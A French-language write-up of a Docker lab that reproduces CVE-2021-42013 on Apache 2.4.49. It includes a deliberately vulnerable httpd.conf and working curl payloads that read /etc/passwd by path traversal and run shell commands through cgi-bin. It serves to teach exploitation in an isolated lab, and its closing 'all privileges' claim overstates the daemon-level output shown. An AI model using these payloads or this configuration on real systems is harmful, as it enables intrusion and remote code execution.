
Laboratoire de test d'intrusion basé sur Docker simulant la vulnérabilité CVE-2021-42013 (Path Traversal & RCE) sur Apache HTTP Server (2.4.49).
Laboratoire de test d'intrusion basé sur Docker simulant la vulnérabilité CVE-2021-42013 (Path Traversal & RCE) sur Apache HTTP Server (2.4.49).
Ce projet a été conçu pour simuler et exploiter la vulnérabilité CVE-2021-42013 présente sur Apache HTTP Server (2.4.49) dans un environnement isolé. Un environnement de laboratoire dédié nommé docker-exploit-lab a été mis en place, et le scénario d'attaque a été réalisé via une machine victime (victim) et une machine attaquante (attacker) sur le même réseau.
Notre laboratoire comprend deux fichiers de configuration essentiels : le fichier Docker Compose qui définit les machines Victim/Attacker et le fichier de configuration qui rend le serveur Apache vulnérable.
docker-compose.ymlCe fichier crée un environnement isolé sur le sous-réseau 172.20.0.0/16. Au démarrage de la machine attaquante, l'outil curl nécessaire à l'attaque est installé automatiquement.
services:
victim:
image: httpd:2.4.49
container_name: victim-box
volumes:
- ./my-httpd.conf:/usr/local/apache2/conf/httpd.conf
networks:
lab_net:
ipv4_address: 172.20.0.2
attacker:
command: sh -c "apt update && apt install curl -y && tail -f /dev/null"
image: kalilinux/kali-rolling
container_name: attacker-box
tty: true
networks:
lab_net:
ipv4_address: 172.20.0.3
networks:
lab_net:
driver: bridge
ipam:
config:
- subnet: 172.20.0.0/16
my-httpd.confAfin de pouvoir déclencher la vulnérabilité, le serveur a été volontairement rendu vulnérable en accordant l'autorisation Require all granted au répertoire racine () et au répertoire CGI. (Note importante : pour éviter toute erreur, assurez-vous que ce fichier est enregistré au format UTF-8 brut, sans caractère BOM (Byte Order Mark).)
ServerRoot "/usr/local/apache2"
Listen 80
LoadModule mpm_event_module modules/mod_mpm_event.so
LoadModule authn_core_module modules/mod_authn_core.so
LoadModule authz_core_module modules/mod_authz_core.so
LoadModule unixd_module modules/mod_unixd.so
LoadModule alias_module modules/mod_alias.so
LoadModule cgid_module modules/mod_cgid.so
User daemon
Group daemon
DocumentRoot "/usr/local/apache2/htdocs"
<Directory />
AllowOverride none
Require all granted
</Directory>
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"
<Directory "/usr/local/apache2/cgi-bin/">
AllowOverride None
Options +ExecCGI
Require all granted
</Directory>
Pour démarrer le système, nous exécutons la commande suivante dans le terminal, depuis le répertoire de travail :
docker compose up -d
Une fois le système démarré, nous entrons dans la machine Kali Linux depuis laquelle nous exécuterons les commandes d'attaque :
docker exec -it attacker-box /bin/bash
Depuis la machine Kali, nous envoyons des caractères encodés en URL (.%%32%65) à l'adresse IP statique de la machine cible (172.20.0.2), déclenchant ainsi la vulnérabilité de contournement de répertoire, puis nous lisons le fichier /etc/passwd :
curl -v --path-as-is http://172.20.0.2/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
Comme nous avons autorisé le répertoire CGI dans la configuration Apache, nous pouvons utiliser la même logique de contournement de répertoire via /cgi-bin/ pour exécuter directement des commandes shell sur le serveur. Pour exécuter la commande id :
curl -v --path-as-is -d "echo; id" "http://172.20.0.2/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh"
Sortie obtenue avec succès : uid=1(daemon) gid=1(daemon) groups=1(daemon)
Cette étude démontre en pratique comment une vulnérabilité de type Path Traversal, apparemment inoffensive depuis l'extérieur sur un serveur web non mis à jour, se transforme en une exécution de code à distance (RCE) disposant de tous les privilèges lorsqu'elle est combinée à des autorisations de module CGI mal configurées.